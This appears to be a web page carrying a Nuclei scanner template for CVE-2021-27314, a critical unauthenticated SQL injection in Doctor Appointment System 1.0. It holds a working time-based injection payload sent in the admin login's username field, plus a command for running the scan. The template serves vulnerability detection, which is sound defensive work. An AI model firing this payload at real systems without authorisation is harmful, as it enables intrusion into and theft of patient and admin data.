Doctor Appointment System 1.0 - SQL Injection

ID: CVE-2021-27314

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve2021,cve,sqli,doctor-appointment-system,packetstorm,doctor_appointment_system_project

Description

SQL injection in admin.php in doctor appointment system 1.0 allows an unauthenticated attacker to insert malicious SQL queries via username parameter at login page.

YAML Source

id: CVE-2021-27314

info:
  name: Doctor Appointment System 1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    SQL injection in admin.php in doctor appointment system 1.0 allows an unauthenticated attacker to insert malicious SQL queries via username parameter at login page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
    - http://packetstormsecurity.com/files/161642/Doctor-Appointment-System-1.0-Blind-SQL-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27314
    cwe-id: CWE-89
    epss-score: 0.25703
    epss-percentile: 0.96281
    cpe: cpe:2.3:a:doctor_appointment_system_project:doctor_appointment_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: doctor_appointment_system_project
    product: doctor_appointment_system
  tags: time-based-sqli,cve2021,cve,sqli,doctor-appointment-system,packetstorm,doctor_appointment_system_project

http:
  - raw:
      - |
        @timeout: 10s
        POST /admin/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&password=test&submit=

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Doctor Appoinment System")'
        condition: and
# digest: 4a0a004730450220490346368aa93f46dffb95154e594324a158b4aa9ed35cbe6d43de376bb5b72c022100bf785fbc4a0aad9ebad8e45112a9a17a37e640ffdb2a197ce907b27278b2571d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27314.yaml"

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